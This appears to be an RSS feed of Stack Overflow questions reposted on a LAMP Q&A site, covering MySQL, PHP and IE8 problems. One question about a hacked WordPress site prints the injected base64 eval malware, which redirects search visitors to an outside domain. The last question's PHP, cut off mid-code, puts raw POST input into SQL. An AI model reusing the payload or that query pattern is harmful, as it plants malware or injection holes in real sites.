<?phpxml version="1.0" encoding="utf-8"?>
<rss version="2.0" 
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
>
<channel>
<title>globberstack.com / topdog / All</title>
<link>http://www.globberstack.com</link>
<description>Linux, Apache, MySQL & PHP Community Questions & Answers </description>
<pubDate>Tue, 07 Feb 2012 09:44:25 -0500</pubDate>
<language>en</language>
<item>
<title><![CDATA[Providing two schema name in JDBC connection URL]]></title>
<link>http://www.globberstack.com/Questions/providing-two-schema-name-in-jdbc-connection-url-1/</link>
<comments>http://www.globberstack.com/Questions/providing-two-schema-name-in-jdbc-connection-url-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:44:25 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/providing-two-schema-name-in-jdbc-connection-url-1/</guid>
<description><![CDATA[<br />            <p>My application uses an xml datasource file for accessing the DB..There are number of schemas which are present inside the DB and I have no problem accessing any of the schemas.</p><br /><br /><p>However we have started using BIRT for reporting and charts generation and as such I am facing a very typical problem.</p><br /><br /><p>In BIRT I need to create a datasource file.Problem is it accepts jdbc:connection url where I supply the url of the DB..However along with the URL it also ask me to specify the schema else wise BIRT shows no value in data set.<br />I can easily specify one schema name however my query uses two schema and hence I am unable to find an alternative for the same...Creating a joint data set is an option but my queries are complex and generally it is not a viable option for me...</p><br /><br /><p>The connection URL which I specify is :-</p><br /><br /><blockquote><br />  <p>jdbc:mysql://IP:port/schemaName?someString</p><br /></blockquote><br /><br /><p>How can I specify more than 2 schema in my jdbc connection URL..???How can I connect to two schema inside a single datasource in BIRT..</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/913559" rel="nofollow">Hukamanata</a> on Stack Overflow<br/><br/>0 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Is there any performance difference between IN and = operators in MySQL]]></title>
<link>http://www.globberstack.com/Questions/is-there-any-performance-difference-between-in-and--operators-in-mysql-1/</link>
<comments>http://www.globberstack.com/Questions/is-there-any-performance-difference-between-in-and--operators-in-mysql-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:43:59 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/is-there-any-performance-difference-between-in-and--operators-in-mysql-1/</guid>
<description><![CDATA[<br />            <p>I have a MySQL query where in the age is to checked against an array of possible-possible-values.</p><br /><br /><p>The query looks like :</p><br /><br /><pre><code>select * from users where age in (15,18,20,22);<br /></code></pre><br /><br /><p>Some times, the ages-array might only have a single value, say [22].</p><br /><br /><p>In such circumstances, am wondering if the following query (A):</p><br /><br /><pre><code>select * from users where age in (22);<br /></code></pre><br /><br /><p>will be optimum when compared to (B):</p><br /><br /><pre><code>select * from users where age = 22;<br /></code></pre><br /><br /><p>Please, let me know your thoughts.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/140693" rel="nofollow">satya</a> on Stack Overflow<br/><br/>0 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Concatenation In "As" Statement]]></title>
<link>http://www.globberstack.com/Questions/concatenation-in-as-statement-1/</link>
<comments>http://www.globberstack.com/Questions/concatenation-in-as-statement-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:43:54 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/concatenation-in-as-statement-1/</guid>
<description><![CDATA[<br />            <p>A newbie but can a concatenation occur with an "as" statement? </p><br /><br /><p>Ex. </p><br /><br /><pre><code>Set @nthpct:=75; <br />select <br />-code- as concat(@nthpct,' percent') <br />from widget;<br /></code></pre><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1185787" rel="nofollow">user1185787</a> on Stack Overflow<br/><br/>0 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[MySQL: retrieving the newest inserted data]]></title>
<link>http://www.globberstack.com/Questions/mysql-retrieving-the-newest-inserted-data-1/</link>
<comments>http://www.globberstack.com/Questions/mysql-retrieving-the-newest-inserted-data-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:43:22 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/mysql-retrieving-the-newest-inserted-data-1/</guid>
<description><![CDATA[<br />            <p>After inserting new data into a table, I need to select some of the new data straight after, so I can use it for inserting into another table.</p><br /><br /><p>The only way I can think of doing this is using the 'datetime' field I have in my row, but how would I retrieve the latest date/time inserted.</p><br /><br /><ol><br /><li><p><code>INSERT</code> statement with <code>NOW()</code> value for <code>datetime</code></p></li><br /><li><p><code>society_select = SELECT socID, creator, datetime FROM societies.society WHERE datetime='[..datetime is the newest...]';</code></p></li><br /></ol><br /><br /><p>Hope that makes sense. Thank you</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1193072" rel="nofollow">ashx89</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[3-tier web app permission structure with mySQL]]></title>
<link>http://www.globberstack.com/Questions/3-tier-web-app-permission-structure-with-mysql-1/</link>
<comments>http://www.globberstack.com/Questions/3-tier-web-app-permission-structure-with-mysql-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:43:17 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/3-tier-web-app-permission-structure-with-mysql-1/</guid>
<description><![CDATA[<br />            <p>First and foremost, I'm so sorry about how long this question is and appreciate your time in reading it! </p><br /><br /><p>We are currently developing what I prefer to describe as a web based platform that holds a number of applications within it and have come across a permissions problem. This is an internal application for our business and isn't public, for this reason we have unique needs. </p><br /><br /><p>We cannot use a strict group based permissions system because it is too general making it too restrictive, some staff will need access to multiple applications, multiple departments (some may call them groups) within the applications and only a few functions within each department. </p><br /><br /><p>We also need to be able to display the data dynamically, as we are developing a number of applications for the platform we need to be able to register information in a database, it will then populate the appropriate checkboxes and check them if the user has access or leave them empty if the user doesn't have access to the application, department or function. </p><br /><br /><p>For these reasons we need 3-tiers for permissions that consist of </p><br /><br /><ol><br /><li>the apps the user can access</li><br /><li>the departments the user can access</li><br /><li>the specific functions the user has access to</li><br /></ol><br /><br /><p>In theory this should be very simple, I'm sure the best solution will be quite simple in fact but I think we're either overlooking something or looking too closely at something.</p><br /><br /><p><em>Before I go any further</em>, I understand that there are a number of ways to deal with this situation in it's existing structure, we have 6 running and working correctly however these are using "unusual" methods and we really do need a better solution and I believe this starts at the database design.  </p><br /><br /><p>We currently have tried a 3-table systems that has the following tables relating to permissions</p><br /><br /><p><strong>Application register:</strong> this holds a list of all applications within the platform</p><br /><br /><pre><code>    app_id (primary AI) | perm_id (int) | app_name | app_code | app_location | tab_location | access_key<br /></code></pre><br /><br /><p><strong>Application permissions register:</strong> this holds a list of every permission for every application regardless if it is an application, department or function (defined under <code>access_type</code> below)</p><br /><br /><pre><code>    permission_id (primary AI) | perm_id (int) | app_id | permission_code | permission_name | permission_description | access_type<br /></code></pre><br /><br /><p><strong>Specific user permissions:</strong> this holds the specific permissions that relate to an application, department and function</p><br /><br /><pre><code>    permission_id (primary AI) | perm_id (varchar) | app_permission_id | app_id | user_id | access_status | function_code<br /></code></pre><br /><br /><p>The problem comes in with assigning permissions as when we get down to a function level we have found that the mySQL query needs to be too specific in order to get the user access information and we cannot get the full list of functions for that department, no <code>NULL</code> values are being returned in the <code>LEFT JOIN</code> where they should - this is attributed to a particular field that has a common name in multiple tables being joined but different data in each one. We specify all the fields we want returned from each query but for some reason this 1 field keeps coming up and the wrong data is being joined. </p><br /><br /><p>So, I'm thinking of implementing the following structure:</p><br /><br /><p><strong>Application register:</strong> to hold a list of all applications with a URI and navigation system reference</p><br /><br /><pre><code>    app_id (primary AI) | app_name | app_uri | app_tab<br /></code></pre><br /><br /><p><strong>Department register:</strong> to hold a list of all departments and the relationship to an application</p><br /><br /><pre><code>    dept_id (primary AI) | app_id | dept_name<br /></code></pre><br /><br /><p><strong>Functions register:</strong> to hold a list of all functions and the relationship to a department, the department in the "department register" relates to the application</p><br /><br /><pre><code>   function_id (primary AI) | dept_id | function_name | function_description<br /></code></pre><br /><br /><p><strong>Specific user permissions:</strong> to hold a list of all functions a user can perform, this is associated to the functions register, that associates itself to the department register, that relates to the application register</p><br /><br /><pre><code>    permission_id (primary AI) | user_id (index) | function_id | permission_status (int - 0 = not allowed access | 1 = allowed access)<br /></code></pre><br /><br /><p>From here we can do a few joins in a query, for example (just to show the concept for illustration purposes only, I realize that this is not the correct query or best way to write it in production)</p><br /><br /><pre><code>    SELECT * FROM app_register <br />    JOIN dept_register ON app.register.app_id=dept_register.app_id<br />    JOIN function_register ON dept_register.dept_id=function_register.dept_id<br />    JOIN user_permissions ON app_register.app_id=user_permissions.app_id<br />    WHERE user_permissions.user_id='1'<br /></code></pre><br /><br /><p>This should give me a simplified joined permissions table that relates all of the functions, departments and applications then lists what applications the user has access to. </p><br /><br /><p>But I need input from impartial observers rather than emotionally invested database designers and his friends. </p><br /><br /><p>Is there anything that I have overlooked or looked at too hard at? </p><br /><br /><p>Is there another better structure we can try that you can think of to handle this data? </p><br /><br /><p>I really appreciate everyone's help and sorry again for the length of this question! </p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/789344" rel="nofollow">Ryan</a> on Stack Overflow<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Install LimeSurvey On Mac OSX (leopard)]]></title>
<link>http://www.globberstack.com/Questions/install-limesurvey-on-mac-osx-leopard-1/</link>
<comments>http://www.globberstack.com/Questions/install-limesurvey-on-mac-osx-leopard-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:43:05 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/install-limesurvey-on-mac-osx-leopard-1/</guid>
<description><![CDATA[<br />            <p>I have installed <a href="http://www.limesurvey.org/" rel="nofollow">limeSurvey</a> on Mac. But I have following error:</p><br /><br /><pre><code>Can't connect to LimeSurvey database. Reason: No such file or directory<br /></code></pre><br /><br /><p>I have edited config.php and config-default.php. Im using mysql for my django projects without any problem. </p><br /><br /><p>Soft link already could'nt solve the problem:</p><br /><br /><pre><code>ln -s /var/mysql/mysql.sock /tmp/mysql.sock<br /></code></pre><br /><br /><p>How can I make connection between limesurvey and mysql?</p><br /><br /><p>Thanks in advance</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/361635" rel="nofollow">TheNone</a> on Stack Overflow<br/><br/>1 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[IE 8 special character rendering issue]]></title>
<link>http://www.globberstack.com/Questions/ie-8-special-character-rendering-issue-1/</link>
<comments>http://www.globberstack.com/Questions/ie-8-special-character-rendering-issue-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:41:59 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/ie-8-special-character-rendering-issue-1/</guid>
<description><![CDATA[I am having a weird issue with IE 8 and special characters. <br /> <br />IE8 is rendering the characters off-centre. I tried to play with language packs etc in IE8 but I cannot work it out. <br /> <br />The html being rendered is fairly simple .e.g <br /> <br /><span style="cursor: pointer; ">Avslå registrering</span> <br />You will...<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[MySql error on create table]]></title>
<link>http://www.globberstack.com/Questions/mysql-error-on-create-table-1/</link>
<comments>http://www.globberstack.com/Questions/mysql-error-on-create-table-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:41:16 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/mysql-error-on-create-table-1/</guid>
<description><![CDATA[<br />            <p>I want to create a table with Primary key referenced to Two columns of other table on MySql<br />Something like this</p><br /><br /><pre><code>CREATE  TABLE IF NOT EXISTS `tarina`.`Geo_Distrito` (<br />  `departamento` INT(10) NOT NULL ,<br />  `provincia` INT(10) NOT NULL ,<br />  `codigo` INT(10) NOT NULL ,<br />  `nombre` VARCHAR(80) NULL ,<br />  `estado` INT(10) NULL ,<br />  PRIMARY KEY (`departamento`, `provincia`, `codigo`) ,<br />  CONSTRAINT `FK_ProvinciaDistrito`  FOREIGN KEY (`departamento` , `provincia` )  REFERENCES `Geo_Provincia` (`departamento` , `codigo` )<br />)ENGINE = InnoDB;<br /></code></pre><br /><br /><p>And got this error:</p><br /><br /><pre><code>Can't create table 'tarina.Geo_Distrito' (errno: 150)<br /></code></pre><br /><br /><p>Can someone tell me what is the problem?</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1033938" rel="nofollow">Juan Carlos Vega Neira</a> on Stack Overflow<br/><br/>1 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[IE8 Won't Display .gif Images On My Website (On Secure Connection)]]></title>
<link>http://www.globberstack.com/Questions/ie8-wont-display-gif-images-on-my-website-on-secure-connection-1/</link>
<comments>http://www.globberstack.com/Questions/ie8-wont-display-gif-images-on-my-website-on-secure-connection-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:40:24 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/ie8-wont-display-gif-images-on-my-website-on-secure-connection-1/</guid>
<description><![CDATA[Hi guys, I'm currently working on a website for a mate which was going well until I tried to view it in Internet Explorer 8. The problem is that when I click on view with secure connection it will not display my .gif images that are important to the...<br/><br/>0 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Best way of writing an expression in an if construct]]></title>
<link>http://www.globberstack.com/Questions/best-way-of-writing-an-expression-in-an-if-construct-1/</link>
<comments>http://www.globberstack.com/Questions/best-way-of-writing-an-expression-in-an-if-construct-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:39:27 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/best-way-of-writing-an-expression-in-an-if-construct-1/</guid>
<description><![CDATA[<br />            <p>I have a question about something that I found among PHP best practises book that I read.</p><br /><br /><p>What is the best way to do the following test?</p><br /><br /><pre><code>if("value" == $variable){}<br /></code></pre><br /><br /><p>and</p><br /><br /><pre><code>if($variable == "value"){}<br /></code></pre><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/199826" rel="nofollow">Mamadou</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[How to insert a row in a table between two existing rows in Sql]]></title>
<link>http://www.globberstack.com/Questions/how-to-insert-a-row-in-a-table-between-two-existing-rows-in-sql-1/</link>
<comments>http://www.globberstack.com/Questions/how-to-insert-a-row-in-a-table-between-two-existing-rows-in-sql-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:38:02 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/how-to-insert-a-row-in-a-table-between-two-existing-rows-in-sql-1/</guid>
<description><![CDATA[<br />            <p>I have a table with 9 records in it but i want to insert a row in between of 5th and 6th record.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1194740" rel="nofollow">Renuka Ballal</a> on Stack Overflow<br/><br/>1 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[How to choose just a single row from a list of selections]]></title>
<link>http://www.globberstack.com/Questions/how-to-choose-just-a-single-row-from-a-list-of-selections-1/</link>
<comments>http://www.globberstack.com/Questions/how-to-choose-just-a-single-row-from-a-list-of-selections-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:36:49 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/how-to-choose-just-a-single-row-from-a-list-of-selections-1/</guid>
<description><![CDATA[<br />            <p>I have a table as follows:</p><br /><br /><p><img src="http://i.stack.imgur.com/Wsrzx.jpg" alt="enter image description here"></p><br /><br /><p>In the future the table will have several more rows.<br />I am trying to select <code>currentStage</code> from the database using the following code:</p><br /><br /><pre><code>$currentStage = mysql_query("<br />SELECT `currentStage` FROM `team` WHERE `gameID` = '$gameID'<br />");<br /></code></pre><br /><br /><p>Using the above selects the two <code>1's</code> from the data base however I really just want to select one of them. With only the gameID as a reference. (ie. I can only use <code>WHERE</code>gameID<code>= '$gameID'</code> as a method of finding) Is there a way of doing this?</p><br /><br /><p>I hope this makes sense</p><br /><br /><p>Thanks</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1064028" rel="nofollow">user1064028</a> on Stack Overflow<br/><br/>0 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Multiple for loops - how to print data]]></title>
<link>http://www.globberstack.com/Questions/multiple-for-loops-how-to-print-data-1/</link>
<comments>http://www.globberstack.com/Questions/multiple-for-loops-how-to-print-data-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:36:28 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/multiple-for-loops-how-to-print-data-1/</guid>
<description><![CDATA[<br />            <p>i want to make a website something like popurls.com, but I will use static data stored in MySQL database. Btw I use php/mysql.<br><br />In each list i want to show around 10 links (just like on popurls).  In that case, if I would have 20 lists, i would need to make 20 'for' loops (for each particular list).<br><br />My question is; is there some better way to print that 20 lists instead of using 20 'for' loops in php.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/400340" rel="nofollow">phpEnthusiast</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[mysql read ä/ö/ü with dots (on top)]]></title>
<link>http://www.globberstack.com/Questions/mysql-read-aeoeue-with-dots-on-top-1/</link>
<comments>http://www.globberstack.com/Questions/mysql-read-aeoeue-with-dots-on-top-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:36:27 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/mysql-read-aeoeue-with-dots-on-top-1/</guid>
<description><![CDATA[<br />            <p>I have a mysql database charset utf8_general_ci. All fields are utf8_general_ci to.<br />And I read with php the DB to this header</p><br /><br /><pre><code>&lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /&gt;<br /></code></pre><br /><br /><p>but a/o/u with dots (on top) are displayed as ?.</p><br /><br /><p>could somebody help me please?</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/933153" rel="nofollow">fteinz</a> on Stack Overflow<br/><br/>0 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[can not access http://localhost/phpmyadmin/]]></title>
<link>http://www.globberstack.com/Questions/can-not-access-httplocalhostphpmyadmin-1/</link>
<comments>http://www.globberstack.com/Questions/can-not-access-httplocalhostphpmyadmin-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:36:13 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/can-not-access-httplocalhostphpmyadmin-1/</guid>
<description><![CDATA[<br />            <p>I installed wamp server2 it didn't have password and it had this error below then I went to mysql and set the password for root with this command and I can login using this password but again I can not access phpmyadmin.I restarted the services too.</p><br /><br /><pre><code>update user.mysql set password=password('root') where user='root';<br /></code></pre><br /><br /><p>then i went to config.inc changed the pass to this one:</p><br /><br /><pre><code>$cfg['Servers'][$i]['password'] = 'root';<br /></code></pre><br /><br /><p>again I restarted and again no result.</p><br /><br /><p>the phpmyadmin page:</p><br /><br /><pre><code>Welcome to phpMyAdmin<br /><br />Error<br /><br />MySQL said: Documentation<br />#1045 - Access denied for user 'root'@'localhost' (using password: NO)<br />phpMyAdmin tried to connect to the MySQL server, and the server rejected the connection. You should check the host, username and password in your configuration and make sure that they correspond to the information given by the administrator of the MySQL server.<br /></code></pre><br /><br /><p>config.inc:</p><br /><br /><pre><code>&lt;?php<br /><br />/* Servers configuration */<br />$i = 0;<br /><br />/* Server: localhost [1] */<br />$i++;<br />$cfg['Servers'][$i]['verbose'] = 'localhost';<br />$cfg['Servers'][$i]['host'] = 'localhost';<br />$cfg['Servers'][$i]['port'] = '';<br />$cfg['Servers'][$i]['socket'] = '';<br />$cfg['Servers'][$i]['connect_type'] = 'tcp';<br />$cfg['Servers'][$i]['extension'] = 'mysqli';<br />$cfg['Servers'][$i]['auth_type'] = 'config';<br />$cfg['Servers'][$i]['user'] = 'root';<br />$cfg['Servers'][$i]['password'] = 'root';<br />$cfg['Servers'][$i]['AllowNoPassword'] = true;<br /><br />/* End of servers configuration */<br /><br />$cfg['DefaultLang'] = 'en-utf-8';<br />$cfg['ServerDefault'] = 1;<br />$cfg['UploadDir'] = '';<br />$cfg['SaveDir'] = '';<br /><br /><br />/* rajk - for blobstreaming */<br />$cfg['Servers'][$i]['bs_garbage_threshold'] = 50;<br />$cfg['Servers'][$i]['bs_repository_threshold'] = '32M';<br />$cfg['Servers'][$i]['bs_temp_blob_timeout'] = 600;<br />$cfg['Servers'][$i]['bs_temp_log_threshold'] = '32M';<br /><br /><br />?&gt;<br /></code></pre><br /><br /><p>It was firstly this line <code>$cfg['Servers'][$i]['password'] = '';</code></p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/974380" rel="nofollow">nik parsa</a> on Stack Overflow<br/><br/>1 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Displaying jpg images in PHP]]></title>
<link>http://www.globberstack.com/Questions/displaying-jpg-images-in-php-1/</link>
<comments>http://www.globberstack.com/Questions/displaying-jpg-images-in-php-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:36:06 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/displaying-jpg-images-in-php-1/</guid>
<description><![CDATA[Can anyone tell me if there is a simple way to display a .jpg image in PHP or will I have to use the createjpeg, etc., etc., route:confused:? It is very uncomplicated in standard html - <img src= etc., but judging from my initial research PHP...<br/><br/>0 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[WordPress Website Comprimised Hack]]></title>
<link>http://www.globberstack.com/Questions/wordpress-website-comprimised-hack-1/</link>
<comments>http://www.globberstack.com/Questions/wordpress-website-comprimised-hack-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:35:02 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/wordpress-website-comprimised-hack-1/</guid>
<description><![CDATA[<br />            <p>A WordPress website we are running for a client has been comprimised and are trying to establish how they may have got in. It seems they have injected code into EVERY WP core file, all theme files and only a few select plugin files.</p><br /><br /><p>The code they used is:</p><br /><br /><pre><code>eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29zdGFicmF2YS5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9"));<br /></code></pre><br /><br /><p>Has anyone seen or heard of this before? And does anyone how any clues onto how this may have happened? All WP file permissions are set to the recommended levels.</p><br /><br /><p>Thanks for your time.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/377994" rel="nofollow">Nathan Fitzgerald</a> on Stack Overflow<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Are namespaces bad for performance? (PHP)]]></title>
<link>http://www.globberstack.com/Questions/are-namespaces-bad-for-performance-php-1/</link>
<comments>http://www.globberstack.com/Questions/are-namespaces-bad-for-performance-php-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:34:28 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/are-namespaces-bad-for-performance-php-1/</guid>
<description><![CDATA[<br />            <p>I've made some changes for a php framework to suport namespaces and the result wasn't as expected ... For a simple test (mostly framework classes loaded) the execution time slowed down with ~10% .</p><br /><br /><p>From your experience , does it worth to use namespaces on large apps (considering the actual development level of PHP) ?</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/997178" rel="nofollow">Tudor Tudor</a> on Stack Overflow<br/><br/>0 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Recomended table structure to update/insert/get/search unique strings of 10M rows]]></title>
<link>http://www.globberstack.com/Questions/recomended-table-structure-to-updateinsertgetsearch-unique-strings-of-10m-rows-1/</link>
<comments>http://www.globberstack.com/Questions/recomended-table-structure-to-updateinsertgetsearch-unique-strings-of-10m-rows-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:33:38 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/recomended-table-structure-to-updateinsertgetsearch-unique-strings-of-10m-rows-1/</guid>
<description><![CDATA[<br />            <p>Followings are what I need to do:</p><br /><br /><p>1- If a search term is new and unique, then add the search term </p><br /><br /><p>2- Show lastest searched 1000 search terms (I don't need to store dates of all search terms) </p><br /><br /><p>3- Show 20 similar search terms for a search term  </p><br /><br /><p>4- If an old search term seaches again, then update view count of the search term</p><br /><br /><p>I have over 10 different structure on my mind to try but I am tired of failed attempts and I need a professional view.</p><br /><br /><p>I don't have a background with db in a professional manner, I just learn and try combinations when I need.</p><br /><br /><p><a href="http://www.ptf.com/tai/tai+ve+dot+kich/" rel="nofollow">http://www.ptf.com/tai/tai+ve+dot+kich/</a> and some other big sites uses first word of search terms for performance I believe. But I am not sure how to apply. Also, you can get an idea what I'm doing from the link.</p><br /><br /><p>Please consider a scalable structure (if possible)</p><br /><br /><p>Currently, there are 2 search performs in a second(i mean a user search something), and there are 200K search terms. I can't get enough performance with my current structure and I want to add over 1M records. So please assume there are 200 search performs in a second, and there are 10M search terms.</p><br /><br /><p>Oh and I prefer to use Mysql</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1055645" rel="nofollow">noarm</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[mysql_fetch_assoc iteration display]]></title>
<link>http://www.globberstack.com/Questions/mysql-fetch-assoc-iteration-display-1/</link>
<comments>http://www.globberstack.com/Questions/mysql-fetch-assoc-iteration-display-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:33:33 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/mysql-fetch-assoc-iteration-display-1/</guid>
<description><![CDATA[<br />            <p>The script below is to search the db for the query (<code>$matric_no</code>), so that it returns the names(first, last, other name) and other student informations. It works fine if it only returns one row , but whenever two or more rows are returned the names are also iterated the same times as the rows. How can i make it return just a single instance of the student names irrespective of the no of affected rows? </p><br /><br /><p>Thanks in advance. </p><br /><br /><pre><code>&lt;?php<br />session_start();<br />require ('includes/ dbconnect. php');<br />require 'includes/header.inc.php';<br /><br />$matric_no = mysql_real_escape_string($_POST['matric_no']);<br /><br />if ($_POST['matric_no'] == "") {<br />    echo "&lt;div id=\"contentRight\"&gt;";<br />    echo "&lt;div id=\"msg\"&gt;";<br /><br />    echo "You didn't enter a &lt;span style=\"color:red\"&gt; Matric Number &lt;/span&gt;";<br /><br />    echo "&lt;/div&gt;";<br />    echo "&lt;/div&gt;";<br />    exit();<br />}<br /><br />$query = "SELECT matric_no <br /><br /> FROM main_table <br /><br /> WHERE main_table.matric_no = '$_POST[matric_no]'";<br /><br />$result = mysql_query($query);<br /><br />$duplicates = mysql_num_rows($result);<br /><br />if ($duplicates &lt; 1) {<br /><br />    echo "&lt;div id=\"contentRight\"&gt;";<br /><br />    echo "&lt;idv id=\"msg\"&gt;";<br /><br />    echo "You dont have a record for &lt;span style=\"color:red\"&gt; $matric_no&lt;/span&gt;";<br /><br />    echo "&lt;/div&gt;";<br />    echo "&lt;/div&gt;";<br />    exit();<br 